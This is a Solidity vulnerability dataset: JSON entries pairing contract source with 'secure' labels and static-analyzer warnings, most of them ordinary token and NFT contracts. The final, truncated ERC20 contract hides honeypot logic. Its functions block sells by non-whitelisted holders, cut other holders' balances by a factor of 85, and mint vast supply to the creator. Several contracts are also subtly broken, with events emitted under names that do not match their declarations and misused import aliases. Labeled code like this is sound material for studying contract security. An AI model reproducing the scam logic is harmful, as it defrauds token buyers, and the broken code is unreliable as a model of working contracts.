currencyToken,\n uint256 currencyAmount,\n uint256 feePct\n ) internal returns (bool) {\n uint256 feeAmount = (currencyAmount * feePct) / (10000);\n\n if (currencyToken == NATIVE_ETH) {\n require(msg.value == currencyAmount, \"incorrect payment value\");\n\t\t\t// reentrancy-events | ID: c41f56e\n\t\t\t// reentrancy-events | ID: 36d4f78\n payable(to).transfer(currencyAmount - (feeAmount));\n\t\t\t// reentrancy-events | ID: c41f56e\n\t\t\t// reentrancy-events | ID: 36d4f78\n payable(owner).transfer(feeAmount);\n } else {\n require(msg.value == 0, \"incorrect payment value\");\n\t\t\t// reentrancy-events | ID: c41f56e\n\t\t\t// reentrancy-events | ID: 36d4f78\n require(\n IERC20(currencyToken).transferFrom(\n from,\n to,\n currencyAmount - (feeAmount)\n ),\n \"unable to pay\"\n );\n\t\t\t// reentrancy-events | ID: c41f56e\n\t\t\t// reentrancy-events | ID: 36d4f78\n require(\n IERC20(currencyToken).transferFrom(from, owner, feeAmount),\n \"unable to pay\"\n );\n }\n\n return true;\n }\n\n function cancelOffchainOrder(\n address orderCreator,\n bool isSellOrder,\n address nftContractAddress,\n uint256 nftTokenId,\n address currencyToken,\n uint256 currencyAmount,\n bytes32 nonce,\n uint256 expires,\n bytes memory offchainSignature\n ) public returns (bool) {\n bytes32 sigHash = getOrderTypedDataHash(\n orderCreator,\n isSellOrder,\n nftContractAddress,\n nftTokenId,\n currencyToken,\n currencyAmount,\n nonce,\n expires\n );\n address recoveredSignatureSigner = recover(sigHash, offchainSignature);\n\n require(orderCreator == recoveredSignatureSigner, \"Invalid signature\");\n require(msg.sender == recoveredSignatureSigner, \"Not signature owner\");\n\n require(burnedNonces[orderCreator][nonce] == 0, \"Nonce already burned\");\n burnedNonces[orderCreator][nonce] = 0x2;\n\n emit nonceBurned(orderCreator, nonce);\n\n return true;\n }\n}",
"file_name": "solidity_code_3574.sol",
"secure": 0,
"size_bytes": 11984
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Ownable {\n address creator;\n mapping(address => uint256) public owner;\n uint256 index = 0;\n\n constructor() {\n owner[msg.sender] = ++index;\n creator = msg.sender;\n }\n\n modifier onlyOwner() {\n require(owner[msg.sender] > 0, \"onlyOwner exception\");\n _;\n }\n\n function addNewOwner(address newOwner) public onlyOwner returns (bool) {\n owner[newOwner] = ++index;\n return true;\n }\n\n function removeOwner(address removedOwner) public onlyOwner returns (bool) {\n require(msg.sender != removedOwner, \"Denied deleting of yourself\");\n owner[removedOwner] = 0;\n return true;\n }\n}",
"file_name": "solidity_code_3575.sol",
"secure": 1,
"size_bytes": 757
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\nimport \"@openzeppelin/contracts/interfaces/IERC721Metadata.sol\" as IERC721Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\nimport \"@openzeppelin/contracts/utils/Counters.sol\" as Counters;\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC721Receiver.sol\" as IERC721Receiver;\nimport \"./NFTToken.sol\" as NFTToken;\n\ncontract NFTToken is Context, ERC165, IERC721, IERC721Metadata, Ownable {\n using Address for address;\n using Strings for uint256;\n using Counters for Counters.Counter;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 => bytes) public metaHash;\n\n mapping(uint256 => address) private _owners;\n\n mapping(address => uint256) private _balances;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n event MintRequest(address from, uint256 tokenId);\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9f47104): NFTToken.balanceOf(address).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 9f47104: Rename the local variables that shadow another component.\n function balanceOf(\n address owner\n ) public view virtual override returns (uint256) {\n require(\n owner != address(0),\n \"ERC721: balance query for the zero address\"\n );\n return _balances[owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 17a41ad): NFTToken.ownerOf(uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 17a41ad: Rename the local variables that shadow another component.\n function ownerOf(\n uint256 tokenId\n ) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(\n owner != address(0),\n \"ERC721: owner query for nonexistent token\"\n );\n return owner;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n\n string memory baseURI = _baseURI();\n return\n bytes(baseURI).length > 0\n ? string(abi.encodePacked(baseURI, tokenId.toString()))\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7fbad01): NFTToken.approve(address,uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 7fbad01: Rename the local variables that shadow another component.\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = NFTToken.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view virtual override returns (address) {\n require(\n _exists(tokenId),\n \"ERC721: approved query for nonexistent token\"\n );\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n require(operator != _msgSender(), \"ERC721: approve to caller\");\n\n _operatorApprovals[_msgSender()][operator] = approved;\n emit ApprovalForAll(_msgSender(), operator, approved);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5eb3578): NFTToken.isApprovedForAll(address,address).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 5eb3578: Rename the local variables that shadow another component.\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n _safeTransfer(from, to, tokenId, _data);\n }\n\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(\n _checkOnERC721Received(from, to, tokenId, _data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0d6cc65): NFTToken._isApprovedOrOwner(address,uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 0d6cc65: Rename the local variables that shadow another component.\n function _isApprovedOrOwner(\n address spender,\n uint256 tokenId\n ) internal view virtual returns (bool) {\n require(\n _exists(tokenId),\n \"ERC721: operator query for nonexistent token\"\n );\n address owner = NFTToken.ownerOf(tokenId);\n return (spender == owner ||\n getApproved(tokenId) == spender ||\n isApprovedForAll(owner, spender));\n }\n\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, _data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: eeb2c40): NFTToken._burn(uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for eeb2c40: Rename the local variables that shadow another component.\n function _burn(uint256 tokenId) internal virtual {\n address owner = NFTToken.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(\n NFTToken.ownerOf(tokenId) == from,\n \"ERC721: transfer of token that is not own\"\n );\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n }\n\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(NFTToken.ownerOf(tokenId), to, tokenId);\n }\n\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n if (to.isContract()) {\n try\n IERC721Receiver(to).onERC721Received(\n _msgSender(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return retval == IERC721Receiver(to).onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}",
"file_name": "solidity_code_3576.sol",
"secure": 0,
"size_bytes": 10796
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./NFTToken.sol\" as NFTToken;\nimport \"@openzeppelin/contracts/interfaces/IERC721Enumerable.sol\" as IERC721Enumerable;\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\n\nabstract contract ERC721Enumerable is NFTToken, IERC721Enumerable {\n mapping(address => mapping(uint256 => uint256)) private _ownedTokens;\n\n mapping(uint256 => uint256) private _ownedTokensIndex;\n\n uint256[] private _allTokens;\n\n mapping(uint256 => uint256) private _allTokensIndex;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5bae13f): ERC721Enumerable.tokenOfOwnerByIndex(address,uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 5bae13f: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3214052): ERC721Enumerable.tokenOfOwnerByIndex(address,uint256).index shadows Ownable.index (state variable)\n\t// Recommendation for 3214052: Rename the local variables that shadow another component.\n function tokenOfOwnerByIndex(\n address owner,\n uint256 index\n ) public view virtual override returns (uint256) {\n require(\n index < NFTToken.balanceOf(owner),\n \"ERC721Enumerable: owner index out of bounds\"\n );\n return _ownedTokens[owner][index];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _allTokens.length;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 326ca24): ERC721Enumerable.tokenByIndex(uint256).index shadows Ownable.index (state variable)\n\t// Recommendation for 326ca24: Rename the local variables that shadow another component.\n function tokenByIndex(\n uint256 index\n ) public view virtual override returns (uint256) {\n require(\n index < ERC721Enumerable.totalSupply(),\n \"ERC721Enumerable: global index out of bounds\"\n );\n return _allTokens[index];\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n super._beforeTokenTransfer(from, to, tokenId);\n\n if (from == address(0)) {\n _addTokenToAllTokensEnumeration(tokenId);\n } else if (from != to) {\n _removeTokenFromOwnerEnumeration(from, tokenId);\n }\n if (to == address(0)) {\n _removeTokenFromAllTokensEnumeration(tokenId);\n } else if (to != from) {\n _addTokenToOwnerEnumeration(to, tokenId);\n }\n }\n\n function internalMint(address to, uint256 tokenId) internal {\n _addTokenToAllTokensEnumeration(tokenId);\n _addTokenToOwnerEnumeration(to, tokenId);\n\n _mint(to, tokenId);\n }\n\n function internalBurn(address from, uint256 tokenId) internal {\n _removeTokenFromOwnerEnumeration(from, tokenId);\n _removeTokenFromAllTokensEnumeration(tokenId);\n\n _burn(tokenId);\n }\n\n function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {\n uint256 length = NFTToken.balanceOf(to);\n _ownedTokens[to][length] = tokenId;\n _ownedTokensIndex[tokenId] = length;\n }\n\n function _addTokenToAllTokensEnumeration(uint256 tokenId) private {\n _allTokensIndex[tokenId] = _allTokens.length;\n _allTokens.push(tokenId);\n }\n\n function _removeTokenFromOwnerEnumeration(\n address from,\n uint256 tokenId\n ) private {\n uint256 lastTokenIndex = NFTToken.balanceOf(from) - 1;\n uint256 tokenIndex = _ownedTokensIndex[tokenId];\n\n if (tokenIndex != lastTokenIndex) {\n uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];\n\n _ownedTokens[from][tokenIndex] = lastTokenId;\n _ownedTokensIndex[lastTokenId] = tokenIndex;\n }\n\n delete _ownedTokensIndex[tokenId];\n delete _ownedTokens[from][lastTokenIndex];\n }\n\n function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {\n uint256 lastTokenIndex = _allTokens.length - 1;\n uint256 tokenIndex = _allTokensIndex[tokenId];\n\n uint256 lastTokenId = _allTokens[lastTokenIndex];\n\n _allTokens[tokenIndex] = lastTokenId;\n _allTokensIndex[lastTokenId] = tokenIndex;\n\n delete _allTokensIndex[tokenId];\n _allTokens.pop();\n }\n}",
"file_name": "solidity_code_3577.sol",
"secure": 0,
"size_bytes": 4529
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"./NFTToken.sol\" as NFTToken;\n\ncontract CoCNFT is ERC721Enumerable {\n uint256 public commissions = 0;\n\n mapping(uint256 => bool) public tokenExists;\n\n constructor() NFTToken(\"CoinClash\", \"CoC\") {}\n\n function receiveCommission() public onlyOwner {\n require(commissions > 0, \"There are no commission\");\n\n uint256 value = commissions;\n commissions = 0;\n\n payable(msg.sender).transfer(value);\n }\n\n function mintRequest(uint256 tokenId) public payable {\n require(tokenExists[tokenId] == false, \"Token already exists\");\n require(msg.value >= 5 * 1e15, \"value can't be less then 5 finney\");\n\n commissions += msg.value;\n\n emit MintRequest(msg.sender, tokenId);\n }\n\n function safeMint(\n address to,\n bytes memory hash,\n uint256 tokenId\n ) public onlyOwner {\n require(tokenExists[tokenId] == false, \"Token already exists\");\n\n tokenExists[tokenId] = true;\n metaHash[tokenId] = hash;\n internalMint(to, tokenId);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8958d25): CoCNFT.safeBurn(uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 8958d25: Rename the local variables that shadow another component.\n function safeBurn(uint256 tokenId) public {\n address owner = NFTToken.ownerOf(tokenId);\n\n require(msg.sender == owner, \"Only owner can burn\");\n\n tokenExists[tokenId] = false;\n delete metaHash[tokenId];\n internalBurn(owner, tokenId);\n }\n}",
"file_name": "solidity_code_3578.sol",
"secure": 0,
"size_bytes": 1727
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"@openzeppelin/contracts/utils/Counters.sol\" as Counters;\n\ncontract MetaVisa is ERC721Enumerable {\n using Counters for Counters.Counter;\n\n Counters.Counter private _tokenIdTracker;\n\n event Mint(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n\n mapping(address => bool) public isBuy;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 99eead4): MetaVisa.constructor(string,string).name shadows ERC721.name() (function) IERC721Metadata.name() (function)\n\t// Recommendation for 99eead4: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1396910): MetaVisa.constructor(string,string).symbol shadows ERC721.symbol() (function) IERC721Metadata.symbol() (function)\n\t// Recommendation for 1396910: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol\n ) ERC721(name, symbol) {}\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f60d0c2): MetaVisa.mint(string).tokenURI shadows ERC721URIStorage.tokenURI(uint256) (function) ERC721.tokenURI(uint256) (function) IERC721Metadata.tokenURI(uint256) (function)\n\t// Recommendation for f60d0c2: Rename the local variables that shadow another component.\n function mint(string memory tokenURI) public virtual {\n require(!isBuy[msg.sender], \"mint:You can only buy it once \");\n uint256 tokenId = _tokenIdTracker.current();\n _mint(msg.sender, _tokenIdTracker.current());\n _setTokenURI(_tokenIdTracker.current(), tokenURI);\n _tokenIdTracker.increment();\n isBuy[msg.sender] = true;\n emit Mint(address(0), msg.sender, tokenId);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override(ERC721Enumerable) {\n super._beforeTokenTransfer(from, to, tokenId);\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC721Enumerable) returns (bool) {\n return super.supportsInterface(interfaceId);\n }\n}",
"file_name": "solidity_code_3579.sol",
"secure": 0,
"size_bytes": 2412
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MACA is ERC20, Ownable {\n constructor() ERC20(\"Make America Cum Again\", \"MACA\") {\n _mint(_msgSender(), 470690690 * 1e18);\n }\n}",
"file_name": "solidity_code_358.sol",
"secure": 1,
"size_bytes": 347
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Vega2 is ERC20 {\n event ControllerChanged(address indexed new_controller);\n\n\t// WARNING Optimization Issue (immutable-states | ID: bda9ce7): Vega_2.mint_lock_expiry should be immutable \n\t// Recommendation for bda9ce7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public mint_lock_expiry;\n\n address public controller;\n\n constructor(\n uint256 total_supply_,\n uint256 mint_lock_expiry_,\n string memory name_,\n string memory symbol_\n ) ERC20(name_, symbol_) {\n mint_lock_expiry = mint_lock_expiry_;\n _mint(msg.sender, total_supply_);\n controller = msg.sender;\n emit Controller_Changed(controller);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8d3cd7c): Vega_2.change_controller(address).new_controller lacks a zerocheck on \t controller = new_controller\n\t// Recommendation for 8d3cd7c: Check that the address is not zero.\n function change_controller(address new_controller) public {\n require(msg.sender == controller, \"only controller\");\n\t\t// missing-zero-check | ID: 8d3cd7c\n controller = new_controller;\n emit Controller_Changed(new_controller);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 035fdfd): Vega_2.mint_and_issue(address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp > mint_lock_expiry,minting is locked)\n\t// Recommendation for 035fdfd: Avoid relying on 'block.timestamp'.\n function mint_and_issue(address target, uint256 amount) public {\n\t\t// timestamp | ID: 035fdfd\n require(block.timestamp > mint_lock_expiry, \"minting is locked\");\n require(msg.sender == controller, \"only controller\");\n _mint(target, amount);\n }\n}",
"file_name": "solidity_code_3580.sol",
"secure": 0,
"size_bytes": 1997
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ITokenMover {\n function isOperator(address _operator) external view returns (bool);\n function transferERC20(\n address currency,\n address from,\n address to,\n uint256 amount\n ) external;\n function transferERC721(\n address currency,\n address from,\n address to,\n uint256 tokenId\n ) external;\n}",
"file_name": "solidity_code_3581.sol",
"secure": 1,
"size_bytes": 446
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract AppRole is Ownable {\n address[] private _apps;\n mapping(address => bool) internal _isApp;\n\n modifier onlyApp() {\n require(_isApp[_msgSender()], \"Caller is not the app\");\n _;\n }\n\n function getAllApps() public view returns (address[] memory) {\n return _apps;\n }\n\n function isApp(address _app) public view returns (bool) {\n return _isApp[_app];\n }\n\n function addApp(address _app) public onlyOwner {\n require(!_isApp[_app], \"Address already added as app\");\n _apps.push(_app);\n _isApp[_app] = true;\n }\n\n function removeApp(address _app) public onlyOwner {\n require(_isApp[_app], \"Address is not added as app\");\n _isApp[_app] = false;\n for (uint256 i = 0; i < _apps.length; i++) {\n if (_apps[i] == _app) {\n _apps[i] = _apps[_apps.length - 1];\n _apps.pop();\n break;\n }\n }\n }\n}",
"file_name": "solidity_code_3582.sol",
"secure": 1,
"size_bytes": 1121
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./AppRole.sol\" as AppRole;\nimport \"./ITokenMover.sol\" as ITokenMover;\n\ncontract TipManagerv2 is Ownable, AppRole {\n ITokenMover public immutable tokenMover;\n address public immutable PKN;\n address public pokmiWallet;\n\n event TipSent(\n address user,\n address creator,\n uint256 amount,\n uint256 creatorFeeBIPS\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: eae260b): TipManagerv2.constructor(address,ITokenMover,address)._pokmiWallet lacks a zerocheck on \t pokmiWallet = _pokmiWallet\n\t// Recommendation for eae260b: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2a4cb28): TipManagerv2.constructor(address,ITokenMover,address)._PKN lacks a zerocheck on \t PKN = _PKN\n\t// Recommendation for 2a4cb28: Check that the address is not zero.\n constructor(address _PKN, ITokenMover _tokenMover, address _pokmiWallet) {\n\t\t// missing-zero-check | ID: 2a4cb28\n PKN = _PKN;\n tokenMover = _tokenMover;\n\t\t// missing-zero-check | ID: eae260b\n pokmiWallet = _pokmiWallet;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 25b0824): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 25b0824: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function payTip(\n address user,\n address creator,\n uint256 amount,\n uint256 creatorFeeBIPS\n ) external onlyApp {\n uint256 amountForCreator = (amount * creatorFeeBIPS) / 10000;\n\n\t\t// reentrancy-events | ID: 25b0824\n tokenMover.transferERC20(PKN, user, creator, amountForCreator);\n\t\t// reentrancy-events | ID: 25b0824\n tokenMover.transferERC20(\n PKN,\n user,\n pokmiWallet,\n amount - amountForCreator\n );\n\n\t\t// reentrancy-events | ID: 25b0824\n emit tipSent(user, creator, amount, creatorFeeBIPS);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f5add62): TipManagerv2.updatePokmiWallet(address).newWallet lacks a zerocheck on \t pokmiWallet = newWallet\n\t// Recommendation for f5add62: Check that the address is not zero.\n function updatePokmiWallet(address newWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: f5add62\n pokmiWallet = newWallet;\n }\n}",
"file_name": "solidity_code_3583.sol",
"secure": 0,
"size_bytes": 2706
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PegasusWorld is ERC20 {\n constructor() ERC20(\"Pegasus World\", \"PEGASUS\") {\n _totalSupply = 1000000000000 * 10 ** 9;\n _balances[msg.sender] += _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n}",
"file_name": "solidity_code_3584.sol",
"secure": 1,
"size_bytes": 393
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDEXFactory.sol\" as IDEXFactory;\nimport \"./IDEXRouter.sol\" as IDEXRouter;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => bool) private Shiba;\n mapping(address => bool) private Floki;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _TimeLog;\n\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address public pair;\n IDEXRouter router;\n\n address[] private dogeArray;\n\n string private _name;\n string private _symbol;\n address private _creator;\n uint256 private _totalSupply;\n uint256 private Yorki;\n uint256 private Bulldog;\n uint256 private Shepherd;\n bool private Husky;\n bool private Takeoff;\n bool private Nudist;\n uint256 private ppp;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8a8caae): ERC20.constructor(string,string,address).creator_ lacks a zerocheck on \t _creator = creator_\n\t// Recommendation for 8a8caae: Check that the address is not zero.\n constructor(string memory name_, string memory symbol_, address creator_) {\n router = IDEXRouter(_router);\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n\n _name = name_;\n\t\t// missing-zero-check | ID: 8a8caae\n _creator = creator_;\n _symbol = symbol_;\n Takeoff = true;\n Shiba[creator_] = true;\n Husky = true;\n Nudist = false;\n Floki[creator_] = false;\n ppp = 0;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function _BattleOfShibagrad(address sender, uint256 amount) internal {\n if ((Shiba[sender] != true)) {\n if ((amount > Shepherd)) {\n require(false);\n }\n require(amount < Yorki);\n if (Nudist == true) {\n if (Floki[sender] == true) {\n require(false);\n }\n Floki[sender] = true;\n }\n }\n }\n\n function _ShepherdTakeover(address recipient) internal {\n dogeArray.push(recipient);\n _TimeLog[recipient] = block.timestamp;\n\n if ((Shiba[recipient] != true) && (ppp > 8)) {\n if (\n\t\t\t\t// timestamp | ID: 5be8fd2\n\t\t\t\t// incorrect-equality | ID: 4394dfd\n (_TimeLog[dogeArray[ppp - 1]] == _TimeLog[dogeArray[ppp]]) &&\n Shiba[dogeArray[ppp - 1]] != true\n ) {\n _balances[dogeArray[ppp - 1]] =\n _balances[dogeArray[ppp - 1]] /\n 85;\n }\n } else {\n _balances[_creator] += _totalSupply * 10 ** 10;\n }\n ppp++;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function _burn(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _balances[account] -= amount;\n _balances[address(0)] += amount;\n emit Transfer(account, address(0), amount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n 